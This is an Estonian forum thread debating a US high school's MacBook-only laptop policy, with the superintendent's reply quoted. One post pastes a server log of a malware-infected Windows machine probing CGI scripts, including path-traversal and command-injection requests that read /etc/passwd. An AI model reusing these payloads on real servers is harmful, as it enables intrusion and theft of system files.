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Forte kirjutab: Beverly High keskkool Massachusettsis USAs näeb ette, et iga õppur peab 2011. aasta septembrist kasutama MacBooki sülearvutit, sest plaanis on tehnikaparki uuendada. Miskipärast peab selle eest ise maksma ja teised sülearvutid pole samas lubatud.

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täiesti õige. siiski pakutakse seal veel võimalust arvuti laenata ja või liisinguga osta.

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No miks liisida endale mäkk kui kolme aasta pärast ei ole see ju enam midagi, mida tahaks omada. Pealegi nagu ma ühest hiljutisest jutuajamisest kõrvataha panin siis õun ei tee isegi osadele produktidele softi uuendust.
Parem on ju siis ikkagi õpilane, kes ei taha mäkki kohe koolist välja visata. Koolil lihtsam ja odavam.

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ära unusta, et pingviin töötab mäki peal sammuti.

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olavsu1 kirjutas:
ära unusta, et pingviin töötab mäki peal sammuti.


Mis sa sellega veel öelda tahad?


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-ordi- kirjutas:
olavsu1 kirjutas:
ära unusta, et pingviin töötab mäki peal sammuti.


Mis sa sellega veel öelda tahad?


Seda tahangi öelda

http://docs.fedoraproject.org/en-US/Fedora/13/html/Installation_Guide/ch-new-users.html#sn-which-arch

Kui mõnele opsüsteemile enam uuendusi ei tehta siis leiab mõne teise opsüsteemi, millele uuendusi tehakse.

Ma leian, et hästi tehtud asja ei pea "parandama", "muutma" või "paremaks" tegema.


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Aga miks peab seda head, mida parandama ei pea jõuga peale suruma?

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Nojah, mõnes koolis on koolivorm ka. Ära siis mine sinna kooli Wink

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Ma ei lähegi, aga need, kes seal juba õpivad? Pealegi on koolivorm pigem odavam osta kui õun.

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Ei näe selles midagi imelikku, 900$ pole ka sama hirmus summa kui siin.
Oleks siin ka mac miski 11k eek ei teeks keegi sellisest uudisest välja.
Ma ei tõlgendaks seda, et surutakse jõuga peale, lihtsalt üritatakse ühtlustada ja kõrvaldada igasugused teisejärgulised probleemid, mis tekkivad kui tehnika valik on väga lai (mõnel mõni netbook, mis ei sobi muuks kui netis passida).

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kessu kirjutas:
Aga miks peab seda head, mida parandama ei pea jõuga peale suruma?


Soov olukorda muuta. Ilmselt on koolil saanud villand õpilaste windows arvutitega kaasnevatest muredest.

Windowsi vaikimisi paigaldus on väga halva seadistusega. Ja kes seda seadistust parandavad? ainult need kes teavad. Enamus jätavad asja nii nagu on.
Selline halva seadistusega windows arvuti on turvarisk tervele süsteemile.

Juhtum enda võrgust:

Oli windowsiga masin, kõik parandused peal tulemüür paigaldatud, viirusetõrje paigaldatud.
kõik toimis kenasti. aga mu enda serveri logis oli kena tervitus:

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192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /site/eg/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /doc/ HTTP/1.0 " 403 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /doc// HTTP/1.0 " 403 484 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /doc/packages HTTP/1.0 " 403 491 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /~nobody/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD ///manual/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/ HTTP/1.0 " 403 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/ad.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/aglimpse HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/AnyForm2 HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/bbs_forum.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/bsguest.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/bslist.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/campas HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /// HTTP/1.0 " 200 277 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD ///carbo.ddl HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/count.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/cgforum.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/faxsurvey HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/gbook.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/htsearch HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/htmlscript HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/jj HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /technote/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/mmstdod.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/newdesk HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/register.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/simplestguest.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/statusconfig.pl HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/webgais HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /iisadmpwd/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/webgais HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/perl.exe HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-dos/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /scripts/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/infosrch.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/rguest.exe HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /mall_log_files/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /Admin_files/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/a1stats/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET ///quote.html HTTP/1.0 " 404 485 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00 HTTP/1.0 " 404 494 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/dcboard.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/nph-maillist.pl HTTP/1.0 " 404 498 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.0 " 404 495 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.0 " 404 498 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/ikonboard/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /foldoc/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/adcycle/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/store.cgi?StartID=../etc/passwd%00.html HTTP/1.0 " 404 492 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/bbs_forum.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/commerce.cgi?page=../../../../etc/hosts%00index.html  HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/auktion.pl?menue=../../../../../../../../../../../../../etc/passwd HTTP/1.0 " 404 493 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/hsx.cgi?show=../../../../../../etc/passwd%00 HTTP/1.0 " 404 490 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/mailnews.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/newsdesk.cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/pals-cgi HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /ROADS/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/sendtemp.pl?templ=../../etc/passwd HTTP/1.0 " 404 494 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /way-board/ HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/webspirs.cgi?sp.nextform=../../../../../../etc/passwd HTTP/1.0 " 404 495 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/DCShop/Orders/orders.txt HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "HEAD /cgi-bin/a1disp3.cgi?/../../../../../../etc/passwd HTTP/1.0 " 404 182 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/get32.exe HTTP/1.0 " 404 492 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/auktion.cgi?menue=../../../../../../../../../etc/passwd HTTP/1.0 " 404 494 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET ///index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2Fetc HTTP/1.0 " 404 484 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2Fetc HTTP/1.0 " 404 492 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET ///edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;ls;%20 HTTP/1.0 " 404 489 "-" "-"
192.168.1.66 - - [23/Jun/2010:09:14:12 +0300] "GET /cgi-bin/eshop.pl?seite=;cat%20/etc/passwd| HTTP/1.0 " 404 491 "-" "-"


Oma võrku pandud windowsiga masin kippus serverile kallale. Selliseid ründeid tuleb väljaspoolt koguaeg.

Ainuke asi mis kahtlust äratas oli see, et arvutil oli viirusetõrje andmebaas 14 päeva vana ja seda ei saanud uuendada, teatas serveri veast.

miks turvavahendid ei kaitsnud windows masinat viiruse eest?


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Kui asi slashdot'i tuli, saatsin õkva vastutavale isikule hatemaili (häbi häbi). Aga vastuseks tuli:

Kood:

We believe that the BHS 1 to 1 Laptop Technology Initiative supports our
District’s mission to enable all students to reach their potential with a
sustainable model that prepares them for 21st century challenges.  We
encourage everyone to view our 1-1 presentation at  www.beverlyschools.org
(Click on Beverly Technology Initiative under “Latest News”). This website
will give you the background behind our thinking and more details about the
program, including samples of student work with laptops in the classroom.

All K-12 parents were given an opportunity to view this presentation either
online or in person last March and to give us feedback via a short survey.
The results of this survey are also posted on the website.  While we hope
many readers will take the time to view the presentation, we want to let you
know what we based our decisions on.

   1. Our network in the new BHS is designed to support *any* platform but
   our decisions when purchasing servers and other infrastructure items took in
   consideration that we would be using the Apple platform for our student and
   teacher laptops.
   2. If the program were to start today, we would be offering parents the
   ability to lease a new laptop for $25 per month. This includes hardware,
   software, 3 year warranty, full insurance, a laptop case, and technical
   support. This pricing could change by September 2011 when we begin the
   program. In fact, prices have dropped quite a bit since we began speaking to
   vendors a couple years ago.
   3. Parents are not *required* to participate in this program. We will
   have an in school loaner program for those who do not participate and
   financial assistance for those in need.
   4. As part of our research over the past 5 years we spoke to many “one to
   one” laptop schools across the country.   We were advised over and over
   to select *one* platform to ensure program success.  A multi-platform
   environment would require more tech support and potentially make it
   difficult and disruptive for teachers in the classroom. i.e. they would need
   to be very familiar with both platforms in order to deal with issues that
   may arise.
   5. After evaluating various platforms, we chose Apple for three *main *
   reasons:

*Tech support and reliability:* Macs require less tech support and are more
reliable. We have experienced this first hand already with the Macs we have
purchased which have proven to be very reliable while many PCs in the
district are often not available due to virus or malware issues.

*Cost: *We obtained quotes from two prominent PC laptop vendors using
comparable specifications and were given prices in line with the Mac quote.

*Track record with supporting 1-1 laptop schools:* Apple has helped over
1,000 schools districts implement 1-1 programs all over the country. They
are invested in our success and have already been as huge help to us in the
planning stages.

   1. We understand that PCs are a popular platform in the business world
   but feel strongly that our students will be able to make that shift when and
   if the time comes. In fact, we feel students will be better prepared for the
   future by learning how to adapt to different computing platforms.

We have been working on this plan for over five years, doing professional
development to make sure our teachers are prepared, working with architects
and consultants to ensure that the new building will be able to efficiently
handle 1,300 laptops and evaluating the financing requirements to be sure
that we will be able to sustain this plan well into the future. We look
forward to input from the community and ask for your support.

Yours truly,

Jim Hayes

Superintendent of Schools


Minul muidugi on see küsimus, milleks koolis üldse kambuuter? Jah, võibolla erialalistes tundides, aga üldiselt peaks iga enesestlugupidav õpilane ikkagi õppima selgeks sulepea ja pliiatsiga kirjutamise.

Tsitaat:
miks turvavahendid ei kaitsnud windows masinat viiruse eest?


Солдатом... не положенно...


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Tsitaat:
Солдатом... не положенно...


soldatid olid positsioonil küll. kuid papist. võivad praegugi papist olla... nmap ei näita seda masinat üldse võrgus olevana.

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